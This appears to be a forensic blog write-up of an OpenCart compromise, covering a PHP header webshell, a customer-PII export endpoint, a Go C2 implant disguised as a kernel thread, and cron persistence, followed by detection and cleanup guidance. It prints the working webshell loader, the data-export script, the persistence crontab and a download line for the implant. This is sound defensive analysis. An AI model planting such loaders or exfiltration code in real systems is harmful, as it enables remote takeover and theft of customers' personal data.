Ghost in the Process List: A Go C2 Agent Disguised as a Linux Kernel Thread

Most web compromises are PHP — a webshell dropped in an uploads folder, an injected eval() in a plugin file, maybe a backdoored theme. You grep for suspicious patterns, find the files, delete them, done. This case was different.

The client reported that their e-commerce store had been flagged for serving malware. I ran the standard PHP malware scans. Found two PHP files that shouldn’t be there. Cleaned them. But when I checked running processes, something didn’t add up. There was a 5.6 megabyte Go-compiled ELF binary running as a fake Linux kernel thread, with crontab persistence ensuring it survived reboots. The PHP files were the entry point. The real payload was a compiled C2 agent that PHP scanners would never find.

The Timeline

The attack happened in two waves. The first wave, two months earlier, dropped a data exfiltration endpoint on the store’s demo subdomain — a test run to see if the access worked and if anyone noticed. Nobody did.

The second wave hit the production site. In a 21-minute window between 04:07 and 04:28 UTC, the attacker deployed four components:

1. A PHP webshell for remote code execution
2. A data exfiltration endpoint for customer PII
3. A Go-compiled C2 agent downloaded from GitHub
4. Crontab entries for persistence

Twenty-one minutes. That’s not a human poking around — it’s a playbook being executed.

Layer 1: The Webshell

The first component was a PHP webshell placed at a path that blended into the OpenCart directory structure — inside catalog/controller/api/, a directory that legitimately contains API controller files. The filename matched OpenCart’s naming conventions.

if(isset($_SERVER['HTTP_TUP'])){
    $c = $_SERVER['HTTP_TUP'];
    $c = str_replace(array("\n","\t","\r"), "", $c);
    $buf = "";
    for($i = 0; $i < strlen($c); $i += 2)
        $buf .= urldecode("%" . substr($c, $i, 2));
    $FiLi = Create_Function("", $buf);
    $FiLi();
    exit;
}

The technique: the payload arrives in the TUP HTTP request header, hex-encoded. The loop decodes each two-character hex pair back into bytes, producing a PHP code string. Create_Function() compiles it into an anonymous function and executes it.

Several design choices make this effective:

• Header-based payload delivery. The malicious code never touches the URL, POST body, or query string. WAF rules that inspect request bodies won’t see it. Access logs only record the URL and query parameters — request headers aren’t logged by default, so there’s no forensic trail of what commands were executed.
• No persistent payload. The PHP file itself contains no malicious code — just the loader. The actual payloads live entirely in HTTP request headers, sent fresh on each use. Nothing to grep for beyond the loader pattern.
• Timestamp manipulation. The file’s modification time was backdated to October 2019 — over six years before the actual deployment. An analyst sorting files by mtime would see this file grouped with the original application files, not flagged as recently modified. Only the file’s birth time (visible via stat on supported filesystems) revealed the true creation date.

$ stat catalog/controller/api/api.php
  File: catalog/controller/api/api.php
  Size: 1407
  Access: 2026-06-13 09:27:55
  Modify: 2019-10-15 12:00:00   <-- FAKE (backdated 6+ years)
  Change: 2026-06-13 04:25:17
   Birth: 2026-06-13 04:25:17   <-- REAL creation time

This is why mtime should never be trusted during an investigation. The touch command or a simple utime() call can set any modification time. The ctime (inode change time) and Birth (creation time) are far harder to forge.

Layer 2: The Data Exfiltration Endpoint

The second PHP file was not a webshell — it was a purpose-built data export tool. Placed in catalog/controller/common/, it connected directly to the OpenCart database and exported the entire oc_order table as JSON:

// Simplified reconstruction of the exfiltration logic
$db = new mysqli(DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);

$result = $db->query("SELECT
    order_id, firstname, lastname, email, telephone,
    payment_firstname, payment_lastname, payment_company,
    payment_address_1, payment_address_2, payment_city,
    payment_postcode, payment_country, payment_zone,
    payment_method, shipping_method, ip, date_added
FROM oc_order ORDER BY order_id DESC");

$orders = [];
while ($row = $result->fetch_assoc()) {
    $orders[] = $row;
}

header('Content-Type: application/json');
echo json_encode($orders, JSON_PRETTY_PRINT);

No authentication. No access controls. Navigate to the URL and you get every order ever placed — full names, email addresses, phone numbers, physical addresses, payment methods, and IP addresses. On this particular store, that meant several thousand customer records.

The same file was deployed on both the production site and the demo subdomain. The demo site copy was created two months earlier — likely a test run to validate the database structure and confirm the export worked before deploying to production.

This is a GDPR nightmare. The data was accessible to anyone who knew the URL, with no authentication and no logging.

Layer 3: The Go C2 Agent

This is where the attack diverges from a typical web compromise. The attacker used the webshell to download and deploy a compiled Go binary from GitHub:

$ file watchdogd
watchdogd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, Go BuildID=..., stripped

$ ls -lh watchdogd
-rwxr-xr-x 1 user user 5.6M Jun 13 04:07 watchdogd

$ sha256sum watchdogd
20e766090c037e6abc82cd4011811fda35d0b966bbd5625b4658ef6afc3b98c4  watchdogd

5.6 megabytes. Statically linked (no shared library dependencies — it runs on any Linux system). Stripped (debug symbols removed, making reverse engineering harder). The directory structure was purpose-built to look legitimate:

watchdog/
├── .runtime/
│   └── watchdogd      <-- the C2 binary
├── logs/
│   └── (empty)
└── config/
    └── (empty)

The name watchdogd (watchdog daemon) is deliberately chosen to look like a system service. The .runtime directory is hidden by the dot prefix. An admin casually browsing the filesystem might see the watchdog directory and assume it’s part of the hosting environment.

The Process Disguise

When the binary runs, it doesn’t appear as watchdogd in the process list. It masquerades as a Linux kernel worker thread:

$ ps aux | grep watchdog
(nothing)

$ ps aux | grep kworker
root       127  0.0  0.0      0     0 ?  I    Jun12   0:02 [kworker/0:2-events]
root       234  0.0  0.0      0     0 ?  I    Jun12   0:01 [kworker/1:0-mm]
root       891  0.0  0.0      0     0 ?  I    Jun12   0:00 [kworker/3:1-events]
user     25171  0.1  0.3 724680 12840 ?  Sl   04:07   1:42 [kworker/7:2]

Spot the imposter? It’s PID 25171. Here’s how to tell:

• Owner. Real kernel threads run as root with no terminal (TTY). This one runs as a regular user — the hosting account user, not root.
• Memory usage. Kernel worker threads show 0 for both VSZ and RSS because they operate entirely in kernel space. PID 25171 shows 724 MB VSZ and 12 MB RSS — it’s a userspace process consuming real memory.
• Process state. Kernel threads show state I (idle). The impostor shows Sl (sleeping + multi-threaded) — consistent with a Go runtime’s goroutine scheduler.
• Start time. The real kworker threads started at boot (Jun12). PID 25171 started at 04:07 — the same timestamp as the webshell deployment.

The name [kworker/7:2] follows the exact naming convention of Linux kernel worker threads: kworker/CPU:ID. The brackets are the signature of a kernel thread in ps output. But Go can set the process name via prctl(PR_SET_NAME) or by modifying os.Args[0] — the brackets are just part of the string.

What the Binary Does

Static analysis of the 5.6 MB Go binary revealed several capabilities despite the stripped symbols:

• HTTP/2 client — for outbound C2 communication, blending in with normal HTTPS traffic
• WebSocket support — for persistent, bidirectional communication channels
• SOCKS5 proxy — turns the compromised server into a network proxy, allowing the attacker to route traffic through it
• TLS encryption — all C2 communication is encrypted, making network-level inspection ineffective
• Process masquerade — renames itself to mimic kernel threads

This isn’t a simple reverse shell. It’s a full-featured implant — the kind of tooling you’d expect in a targeted intrusion, not a web application compromise. The Go runtime provides goroutine-based concurrency (explaining the multi-threaded process state), cross-platform compilation, and static linking that eliminates dependency issues. Download the binary to any x86_64 Linux box and it runs.

Layer 4: Persistence

The attacker ensured the C2 agent would survive both process termination and server reboots through dual crontab entries:

$ crontab -l
@reboot cd /home/user/watchdog/.runtime && ./watchdogd &
*/5 * * * * cd /home/user/watchdog/.runtime && pgrep -f watchdogd >/dev/null || ./watchdogd &

Two persistence mechanisms:

• @reboot — launches the agent immediately when the server boots. Handles reboots and full restarts.
• */5 * * * * — every five minutes, checks whether the agent is still running (pgrep -f watchdogd). If it’s been killed, it restarts. This handles manual process termination, OOM kills, or any other unexpected exit.

The combination means that killing the process alone doesn’t work. You have to clean the crontab first, then kill the process, then delete the binary. If you do it in any other order, the cron job brings it back within five minutes.

The Full Attack Architecture

Initial Access (webshell deployment via unknown vector)
    |
    v
api.php — HTTP header webshell
    |  Accepts hex-encoded PHP via TUP header
    |  Create_Function() execution
    |  Backdated mtime to 2019
    |
    +--> Downloads watchdogd from GitHub
    |    wget raw.githubusercontent.com/...
    |
    +--> Deploys reload.php
    |    Unauthenticated PII export
    |    Customer names, emails, addresses, payment data
    |
    +--> Creates crontab persistence
         @reboot + */5 health check
    |
    v
watchdogd — Go C2 Agent (5.6 MB)
    |  Masquerades as [kworker/7:2]
    |  HTTP/2 + WebSocket + SOCKS5 proxy
    |  TLS-encrypted C2 channel
    |
    +--> Persistent bidirectional access
    +--> Network proxying through the server
    +--> Survives process kills (cron respawn)
    +--> Survives reboots (@reboot cron)

Why PHP Scanners Missed It

Standard web malware scanning tools are designed for one thing: finding malicious PHP (or JS, or Python) code in web-accessible directories. This attack exploits that narrow focus at every level:

• The webshell contains no static payload — no hardcoded URLs, no Base64 blobs. The loader pattern is 6 lines of generic PHP that hex-decodes a header value. Many scanners won’t flag Create_Function() the way they’d flag eval().
• The data exfiltration endpoint is plain SQL and JSON encoding. No obfuscation, no encoding, no suspicious function calls. It looks like a developer’s debug tool left in production — which is exactly what makes it dangerous.
• The C2 agent is a compiled binary, not a script. PHP malware scanners don’t examine ELF binaries. Even if a scanner checks file extensions, the binary has no extension and lives in a hidden directory. And its process name tricks even experienced administrators who check ps aux manually.
• The backdated timestamp means any investigation approach that relies on find -newer or sorting by modification time will categorize the webshell as a six-year-old file from the original installation.

Detection Guide

If you suspect a similar compromise, here’s what to check:

Find process masquerades

# Real kernel threads: owned by root, zero memory, state I
# Fake ones: owned by regular user, real memory, state S/Sl
ps aux | awk '$1 != "root" && $11 ~ /^\[/'

# Check /proc for the real binary path behind a bracketed name
ls -la /proc/<PID>/exe
# Kernel threads: permission denied or no link
# Fake threads: points to the actual binary on disk

Find ELF binaries in user directories

# Search for compiled binaries in home directories
find /home/ -type f -executable -exec file {} \; 2>/dev/null \
  | grep "ELF.*executable"

# Check for large files in hidden directories
find /home/ -name ".*" -type d -exec find {} -size +1M -type f \; 2>/dev/null

Check for HTTP header webshells

# Grep for header-based payload patterns
grep -rl 'HTTP_TUP\|HTTP_CMD\|HTTP_X_CMD\|HTTP_X_KEY' \
  /path/to/webroot/ --include="*.php"

# Look for Create_Function (deprecated, almost always malicious)
grep -rli 'Create_Function\|create_function' \
  /path/to/webroot/ --include="*.php"

Check for unauthenticated data export endpoints

# Look for direct database queries outputting JSON
grep -rl 'json_encode.*fetch_assoc\|SELECT.*FROM.*order\|oc_order\|oc_customer' \
  /path/to/webroot/ --include="*.php" \
  | xargs grep -l 'Content-Type.*json'

Check crontab for persistence

# List all user crontabs
for user in $(cut -d: -f1 /etc/passwd); do
    crontab -l -u "$user" 2>/dev/null | grep -v "^#" | grep -v "^$" \
    && echo "  ^^^ $user"
done

# Look for @reboot entries (common persistence mechanism)
grep -r "@reboot" /var/spool/cron/ 2>/dev/null

Check timestamps with stat, not ls

# ls shows mtime (forgeable). stat shows everything:
stat suspicious_file.php
# Compare Modify vs Birth/Change — a gap means timestamp manipulation

# Find files where mtime is OLDER than birth time (impossible without tampering)
find /path/to/webroot/ -name "*.php" -exec stat --format='%n MTIME:%Y BIRTH:%W' {} \; \
  | awk -F'[: ]' '$3 < $5 {print "SUSPICIOUS:", $1}'

The Kill Order

Cleaning a multi-component compromise like this requires a specific sequence. Get it wrong and the persistence mechanisms bring everything back:

1. Document everything first. Hash all malicious files. Record PIDs, crontab contents, timestamps. You can’t investigate what you’ve already deleted.
2. Kill the crontab entries first. If you kill the process before cleaning the crontab, the */5 health check relaunches it within minutes.
3. Kill the process. kill -9 <PID>. Verify with ps that the fake [kworker] is gone.
4. Delete the binary and its directory structure. Remove the entire watchdog/ tree, not just the binary — the attacker may have additional utilities in the config/ or logs/ subdirectories.
5. Delete the PHP components. The webshell and the data exfiltration endpoint.
6. Audit for additional persistence. Check ~/.ssh/authorized_keys, ~/.bashrc, ~/.profile, and systemd user services. If the attacker deployed a C2 agent, they may have established other footholds.

Lessons for Defenders

This case is a reminder that web compromises aren’t always about PHP.

Your malware scanner has a blind spot. File-based PHP scanners are essential, but they see one layer of the attack surface. A compiled binary running in memory with crontab persistence is invisible to them. Include process auditing, crontab review, and binary file searches in your investigation checklist — not just PHP pattern matching.

Never trust modification times. ls -la shows mtime, which can be set to any value with touch -t. Use stat to see all four timestamps (access, modify, change, birth). If Modify is months or years older than Birth or Change, the file was backdated.

Kernel thread names in brackets don’t guarantee kernel threads. Any userspace process can set its name to [kworker/7:2]. The tells are the owner (non-root), the memory consumption (non-zero), and the process state (Sl instead of I). When you see a bracketed process name owned by a regular user, investigate.

Data exfiltration endpoints don’t look malicious. A PHP file that runs a SELECT query and outputs JSON contains no suspicious function calls, no obfuscation, no encoded payloads. Static analysis won’t flag it. The only detection is knowing what files should and shouldn’t exist in your application — which means maintaining an inventory of legitimate files and detecting additions.

The PHP files were the beginning, not the end. An attacker who drops a compiled C2 agent isn’t just defacing websites or injecting SEO spam. They’re establishing persistent infrastructure. The webshell was the door. The C2 agent was the tenant who moved in.